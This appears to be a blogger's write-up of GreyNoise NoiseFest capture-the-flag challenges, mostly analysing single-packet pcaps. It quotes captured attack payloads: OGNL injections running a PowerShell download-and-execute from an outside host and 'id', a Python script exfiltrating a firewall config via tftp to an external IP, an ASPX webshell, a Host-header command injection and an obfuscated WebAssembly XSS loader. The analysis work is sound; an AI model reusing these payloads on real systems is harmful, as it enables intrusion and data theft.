GreyNoise hosted a CTF during their NoiseFest this year. Here are my write-ups.
Category: greynoise 101
boot option one
Task | How many times do we use the singular word “threat” in our Enhancing Threat Detection blog post? |
Points | 10 |
Flag | 6 |
This task involved finding the correct blog post and reading the challenge text carefully. It asks for the singular word “threat”. The rest was just counting…
Category: making friends with pcap
2022
Task | Please find one of the vulns from our 2022 vulnerability report. |
Points | 100 |
Flag | CVE-2022-26134 |
You could either download the PDF or use the related blog post to find out which vulnerabilities the report mentions. I picked CVE-2022-26134—mainly because the report’s table of contents listed it already.
owa
Task | Which CVE is this request checking for the presence of? |
Points | 100 |
Flag | CVE-2021-26855 |
The cookie headers were pretty telling here: X-BEResource
? X-AnonResource-Backend
? ProxyLogon!
powershell
Task | pop shell raise hell. What URL did they try to download their shell from? |
Points | 100 |
Flag | http://webhamster.com |
The relevant information was in the HTTP request URI:
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22powershell%20-enc%20SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vd2ViaGFtc3Rlci5jb20nKQ==%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
Decoding the URL gives:
"/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vd2ViaGFtc3Rlci5jb20nKQ==").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
The interesting part is this:
powershell -enc SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vd2ViaGFtc3Rlci5jb20nKQ==
The last thing to do is to decode the Base64 encoded argument to -enc
:
IEX (New-Object Net.WebClient).DownloadString('http://webhamster.com')
The flag is http://webhamster.com
.
trivial
Task | What binary is used to exfiltrate data? |
Points | 100 |
Flag | tftp |
The pcap contained only a single HTTP request packet. Looking at the data reveals some Python code at the end.
If we extract the script, we get:
import Fernet
import subprocess
import os
key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='
with open('/etc/wg/config.xml', 'rb') as config_file:
buf = config_file.read()
fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)
with open('/tmp/enc_config.xml', 'wb') as encrypted_config:
encrypted_config.write(enc_buf)
subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '141.98.117.165.bin', '50.7.210.114'])
os.remove('/tmp/enc_config.xml')
In line 11 is a call to tftp
, which was the flag.
pcap 101
do you speak pcap
Task | What do you think is happening here? |
Points | 25 |
Flag | Spotify |
This task was somewhat confusing. The name of the pcap (soundbox.pcap) and the HTTP request paths indicated that “Spotify” was the obvious solution. I thought that this was too obvious. Moreover, the destination IP 1.1.1.1 does not really look like it is from Spotify. Finally, the fact that there were only requests from different source IPs and no responses made me think that “scanning” or “directory brute forcing” or something like that might be the solution. No, Spotify was the flag, indeed.
big sip
Task | Someone is trying to do LFI on our 3CX management console! What’s their user agent? |
Points | 50 |
Flag | nvdowo |
Well… it was the User-Agent:
common pfsense
Task | Somebody is trying to scan for CVE-2022-31814! What’s the name of the host they’re scanning from? |
Points | 50 |
Flag | greynoise.io |
CVE-2022-31814 allows attackers to execute commands via the HTTP Host header. There was only one packet in the pcap, and the Host header of the HTTP request looked like this:
Host: ' *; host greynoise.io; '
There is a command string in the header, but I have no idea why this
command should give any sign of the source of the scan. Still, the flag
is the host used in the host
command.
pcap or it didn’t happen
gitislegit
Task | Somebody is crawling for git repos! What system are they using to do so? |
Points | 150 |
Flag | LG Smart Fridge |
That was quite an easy task: the answer was in the User-Agent header.
moooooodbus
Task | Who said cows can’t inspect network traffic? Please multiply the number of o’s in the source IP’s rDNS by the function index of the query. |
Points | 150 |
Flag |
Wireshark already parses the function index for us: 17. The rDNS entry of the source IP 80.82.77.139 is dojo.census.shodan.io.
, which has four o’s. Hence, we have 17 * 4 = 68.
antiwork
Task | Somebody is scanning for printers! What does the payload say? |
Points | 200 |
Flag | not infected ;) |
Since there were only four TCP streams, I looked at them all.
Stream number four looked quite promising:
Scanning the QR code revealed the flag “not infected ;)” (I had to copy it to an editor and invert the colors).
fortinet
Task | There are two primary components that are required to exploit this vulnerability. Sum the RFC’s that define them. |
Points | 200 |
Flag | 14470 |
Another pcap with only a single packet. Looking at the TCP data, it is easy to see that we have a packet that was part of an HTTP session. A prettified version of the HTTP information looks like this:
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: 104.97.105.105
Connection: close
Accept-Encoding: gzip
Connection: close
Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=https://www.greynoise.io/category-blog/greynoise-
The highlighted lines one and six look a lot like CVE-2022-40684. According to Horizon3.ai, exploiting the vulnerability requires the Forwarded header to be 127.0.0.1 and the User-Agent header to be “Report Runner”.
RFC 7239 defines the Forwarded header, and RFC 7231 defines the User-Agent header. Summing the RFC numbers gives us the flag: 7239 + 7231 = 14470.
sigabrt
Task | Which recent CVE is observed within this payload? |
Points | 200 |
Flag | CVE-2023-3519 |
Again, a pcap with only a single packet with an HTTP request:
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 123.123.12.1
User-Agent: curl/7.68.0
Accept: */*
The request path was very telling and quickly led to several blog posts, which unanimously decided we were dealing with CVE-2023-3519 here.
aspx
Task | What command will be run when this webshell is triggered? |
Points | 250 |
Flag | cmd.exe /c whoami |
The flag was already visible when looking at the hex dump of the data:
Extracting the data shows the flag more clearly in lines 14 and 15:
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd()));
Response.Write("</pre>");
}
string ExcuteCmd()
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c whoami";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
</script>
fullsignature
Task | A recent vulnerability hype cycle left it’s signature on the internet, but what’s the full name on the dissector needed to see it? |
Points | 250 |
Flag |
I tried very hard to find the flag, but with no success :-/
The TCP data looks like MS-MQQB. With the destination port 1801, I thought that the vulnerability asked for in this task was QueueJumper. However, I was not able to find the dissector asked for here.
oh-gnl
Task | What key will the result of the OGNL injection be populated into? |
Points | 250 |
Flag | X-Cmd-Response |
The key asked for was in the request path. Once the URL is decoded, we get:
/${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("var d='';var i = java.lang.Runtime.getRuntime().exec('id').getInputStream(); while(i.available())d+=String.fromCharCode(i.read());d"))}/
Here, we find the following method call, which contains the flag:
.setHeader("X-Cmd-Response"
soapy
Task | What is the argument passed to the dropped binary? |
Points | 250 |
Flag | realtek.rep |
Another task where looking at the readable parts of the data already revealed the flag:
wrapper
Task | What is the source reference? |
Points | 250 |
Flag | 0xfeca |
Wireshark only presents a single TCP packet here, but the “Cookie: mstshash” screams RDP. With this in mind, the question immediately makes sense. RDP uses X.224 during the connection initiation phase, and the X.224 Connection Request PDU and the X.224 Connection Confirm PDU both have a field called source reference. The field starts at byte 5, and its size is two bytes (cf. sections 13.3.1 and 13.4.1 in the ITU-T X.224 specification).
Let’s return to the bytes in the packet. The first four highlighted bytes make up a TPKT header.
Then we have a one-byte length indicator (0x21
) and a one-byte TPDU code (0xe0
), which
tells us that we are looking at a connection request (0xe0
= 1110 0000
, which per section 13.2.2.2
of the specification is a connection request). This is enough confirmation so that we can
immediately jump to byte five and read the source reference bytes: 0xfeca
.
While getting the correct bytes was straightforward, submitting the flag was not.
After some trial and error, I finally discovered that the flag was not feca
, FECA
,
fe ca
, 0xfe 0xca
, 65226
, but 0xfeca
.
very important category
xeet
Task | We’re not gonna force you to Tweet that, but it would be pretty cool if you did. The flag is just “xeeter”. |
Points | 25 |
Flag | xeeter |
Well, nothing to do here.
cry
Task | It’s XSS, how hard can that be? Just get the flag. It’s right there. |
Points | 350 |
Flag | hieroglyphics |
This was a fun task!
Looking at the request URI revealed some interesting cues—besides lots of bogus data. The most interesting readable strings were “asm”, “mem” and “WebAssembly.instantiate”. Apparently, we have some XSS using WebAssembly here.
Extracting the relevant part from the request URI (starting after the current_index=
) gives us the following WebAssembly code:
00000000: 0061 736d 0100 0000 0109 0260 027f 7f00 .asm.......`....
00000010: 6000 0002 1102 0178 0179 0000 026a 7303 `......x.y...js.
00000020: 6d65 6d02 0001 0303 0200 0107 9a02 0195 mem.............
00000030: 023c 7363 7269 7074 3e76 6172 206d 203d .<script>var m =
00000040: 206e 6577 2057 6562 4173 7365 6d62 6c79 new WebAssembly
00000050: 2e4d 656d 6f72 7928 7b20 696e 6974 6961 .Memory({ initia
00000060: 6c3a 2031 207d 293b 6665 7463 6828 6c6f l: 1 });fetch(lo
00000070: 6361 7469 6f6e 2c7b 6d6f 6465 3a27 6e6f cation,{mode:'no
00000080: 2d63 6f72 7327 7d29 2e74 6865 6e28 653d -cors'}).then(e=
00000090: 3e65 2e61 7272 6179 4275 6666 6572 2829 >e.arrayBuffer()
000000a0: 292e 7468 656e 2865 3d3e 5765 6241 7373 ).then(e=>WebAss
000000b0: 656d 626c 792e 696e 7374 616e 7469 6174 embly.instantiat
000000c0: 6528 652c 7b78 3a7b 793a 2066 756e 6374 e(e,{x:{y: funct
000000d0: 696f 6e28 6f2c 206c 297b 6e65 7720 4675 ion(o, l){new Fu
000000e0: 6e63 7469 6f6e 286e 6577 2054 6578 7444 nction(new TextD
000000f0: 6563 6f64 6572 2827 7574 6638 2729 2e64 ecoder('utf8').d
00000100: 6563 6f64 6528 6e65 7720 5569 6e74 3841 ecode(new Uint8A
00000110: 7272 6179 286d 2e62 7566 6665 722c 206f rray(m.buffer, o
00000120: 2c20 6c29 2929 2829 3b7d 7d2c 206a 733a , l)))();}}, js:
00000130: 207b 6d65 6d3a 206d 7d7d 2929 3b3c 2f73 {mem: m}}));</s
00000140: 6372 6970 743e 0002 0801 020a ca01 0245 cript>.........E
00000150: 0041 0820 0036 0200 0240 4108 2802 0041 .A. .6...@A.(..A
00000160: 0428 0200 4108 2802 0028 0200 7336 0200 .(..A.(..(..s6..
00000170: 410c 2802 0041 0828 0200 460d 0041 0841 A.(..A.(..F..A.A
00000180: 0828 0200 4104 6a36 0200 4108 2802 0020 .(..A.j6..A.(..
00000190: 0110 010b 0b81 0100 0240 4100 2802 0041 .........@A.(..A
000001a0: e807 470d 0041 1c41 98c4 0010 0141 1c41 ..G..A.A.....A.A
000001b0: 98c4 0010 000b 4100 4100 2802 0041 016a ......A.A.(..A.j
000001c0: 3602 0041 1041 0c10 0141 1041 0c10 0002 6..A.A...A.A....
000001d0: 4041 1028 0200 41e4 ca89 ab07 460d 0041 @A.(..A.....F..A
000001e0: 1041 e4ca 89ab 0736 0200 4114 41e7 ce95 .A.....6..A.A...
000001f0: 9307 3602 0041 1841 bbc0 8081 0236 0200 ..6..A.A.....6..
00000200: 0b41 1041 0c10 0102 4041 0028 0200 41e8 .A.A....@A.(..A.
00000210: 074b 0d00 1002 0b0b 0b84 0206 0041 000b .K...........A..
00000220: 0400 0000 0000 4104 0b04 7575 7575 0041 ......A...uuuu.A
00000230: 080b 0400 0000 0000 410c 0b04 3422 0000 ........A...4"..
00000240: 0041 100b 0c11 1017 0012 1210 074e 5555 .A...........NUU
00000250: 5500 411c 0bc8 0114 1910 0701 5d52 111a U.A.........]R..
00000260: 550c 1a00 5510 0310 070c 5502 1a07 070c U...U.....U.....
00000270: 5514 171a 0001 5502 1d14 0155 021a 0019 U.....U....U....
00000280: 1155 1d14 0505 101b 551c 1355 051d 1c06 .U......U..U....
00000290: 1d1c 1b12 5505 1412 1006 5514 1601 0014 ....U.....U.....
000002a0: 1919 0c55 0107 1c10 114a 525c 4e7f 1319 ...U.....JR\N...
000002b0: 1412 5548 5552 1d1c 1007 1a12 190c 051d ..UHUR..........
000002c0: 1c16 0652 4e7f 161a 1b06 1a19 105b 191a ...RN........[..
000002d0: 125d 5217 1019 1c10 0310 551c 0155 1a07 .]R.......U..U..
000002e0: 551b 1a01 5955 1c13 550c 1a00 5506 1010 U...YU..U...U...
000002f0: 5514 1b55 1007 071a 0755 1710 191a 0259 U..U.....U.....Y
00000300: 5501 1d14 0155 1810 141b 0655 1c01 0655 U....U.....U...U
00000310: 021a 071e 1c1b 1252 5c4e 7f55 5555 55 .......R\N.UUUU
This is still far from being very helpful. The only readable code parts are:
<script>
var m = new WebAssembly.Memory({ initial: 1 });
fetch(location,{mode:'no-cors'})
.then(e=>e.arrayBuffer())
.then(e=>WebAssembly.instantiate(e,
{x: {
y: function(o, l) {
new Function(new TextDecoder('utf8').decode(new Uint8Array(m.buffer, o, l)))();
}
},
js: {mem: m}
}));
</script>
A new memory object is created, and WebAssembly code is loaded and instantiated.
I decompiled the complete WebAssembly code (which I saved in cry.wasm
before)
using the WABT to get some more readable code.
➜ wasm-decompile cry.wasm
import memory js_mem;
data d_a(offset: 0) = "\00\00\00\00";
data d_b(offset: 4) = "uuuu";
data d_c(offset: 8) = "\00\00\00\00";
data d_d(offset: 12) = "4"\00\00";
data d_e(offset: 16) = "\11\10\17\00\12\12\10\07NUUU";
data d_RUUUUUUUUUUUUJRNUHURRNRUUUYU(offset: 28) =
"\14\19\10\07\01]R\11\1aU\0c\1a\00U\10\03\10\07\0cU\02\1a\07\07\0cU\14\17"
"\1a\00\01U\02\1d\14\01U\02\1a\00\19\11U\1d\14\05\05\10\1bU\1c\13U\05\1d"
"\1c\06\1d\1c\1b\12U\05\14\12\10\06U\14\16\01\00\14\19\19\0cU\01\07\1c\10"
"\11JR\N\7f\13\19\14\12UHUR\1d\1c\10\07\1a\12\19\0c\05\1d\1c\16\06RN\7f"
"\16\1a\1b\06\1a\19\10[\19\1a\12]R\17\10\19\1c\10\03\10U\1c\01U\1a\07U\1b"
"\1a\01YU\1c\13U\0c\1a\00U\06\10\10U\14\1bU\10\07\07\1a\07U\17\10\19\1a"
"\02YU\01\1d\14\01U\18\10\14\1b\06U\1c\01\06U\02\1a\07\1e\1c\1b\12R\N\7f"
"UUUU";
import function x_y(a:int, b:int);
function f_b(a:int, b:int) {
d_c[0]:int = a;
(d_c[0]:int)[0]:int = d_b[0]:int ^ (d_c[0]:int)[0]:int;
if (d_d[0]:int == d_c[0]:int) goto B_a;
d_c[0]:int = d_c[0]:int + 4;
f_b(d_c[0]:int, b);
label B_a:
}
export function script_var_m_new_WebAssembly_Memory_fetch_then_then_script() {
if (d_a[0]:int != 1000) goto B_a;
f_b(28, 8728);
x_y(28, 8728);
label B_a:
d_a[0]:int = d_a[0]:int + 1;
f_b(16, 12);
x_y(16, 12);
if (d_e[0]:int == 1969382756) goto B_b;
d_e[0]:int = 1969382756;
d_e[1]:int = 1919248231;
d_e[2]:int = 538976315;
label B_b:
f_b(16, 12);
if (d_a[0]:int > 1000) goto B_c;
script_var_m_new_WebAssembly_Memory_fetch_then_then_script();
label B_c:
}
Better, but still not what I call easy to understand.
There are definitely references to the JavaScript we saw before, such as function x_y
.
What was more interesting, though, was line 23, which XORs something with something.
But before trying to understand what is going on in the decompiled code, I did what a
professional reverse engineer would do: Google for constants (you see that, Lars and
Jesko, I was paying attention during those reversing classes!).
Lines 38 to 41 looked quite promising, so I gave it a shot and searched for “WebAssembly 1969382756”.
The first hit was a blog post titled Anti-Debug JS/WASM by Hand.
Not only the title seemed very relevant to the current task, but also the fact that the author remy
is “employed as a researcher at GreyNoise”. These were enough leads for me to start
reading the article, and it became obvious that the post was describing the exact
technique employed in the sample of the task.
The “XOR Encryption” section of the article mentions that XOR is used (as we already saw above),
and states that the XOR key is stored at memory location 4. What is more, in the post, the key
is set to 0x75 0x75 0x75 0x75.
If we now look at the beginning of our decompiled code where all those data d_
variables are listed, we immediately
see in line 2 that the string “uuuu” (which is 0x75 0x75 0x75 0x75) is stored at offset 4.
data d_a(offset: 0) = "\00\00\00\00";
data d_b(offset: 4) = "uuuu";
data d_c(offset: 8) = "\00\00\00\00";
data d_d(offset: 12) = "4"\00\00";
data d_e(offset: 16) = "\11\10\17\00\12\12\10\07NUUU";
data d_RUUUUUUUUUUUUJRNUHURRNRUUUYU(offset: 28) =
"\14\19\10\07\01]R\11\1aU\0c\1a\00U\10\03\10\07\0cU\02\1a\07\07\0cU\14\17"
"\1a\00\01U\02\1d\14\01U\02\1a\00\19\11U\1d\14\05\05\10\1bU\1c\13U\05\1d"
"\1c\06\1d\1c\1b\12U\05\14\12\10\06U\14\16\01\00\14\19\19\0cU\01\07\1c\10"
"\11JR\N\7f\13\19\14\12UHUR\1d\1c\10\07\1a\12\19\0c\05\1d\1c\16\06RN\7f"
"\16\1a\1b\06\1a\19\10[\19\1a\12]R\17\10\19\1c\10\03\10U\1c\01U\1a\07U\1b"
"\1a\01YU\1c\13U\0c\1a\00U\06\10\10U\14\1bU\10\07\07\1a\07U\17\10\19\1a"
"\02YU\01\1d\14\01U\18\10\14\1b\06U\1c\01\06U\02\1a\07\1e\1c\1b\12R\N\7f"
"UUUU";
Without thinking too much about the rest of the script, I XORed the data stored in d_RUUUUUUUUUUUUJRNUHURRNRUUUYU
(lines 6-14) with the key “uuuu” and got:
alertdoyoueveryworryaboutwhatwouldhappenifphishingpagesactuallytried
flaghieroglyphics
consolelogbelieveitornotifyouseeanerrorbelowthatmeansitsworking
As indicated in line 2, the flag was “hieroglyphics”.
Finally, read remy’s blog post. It is worth it.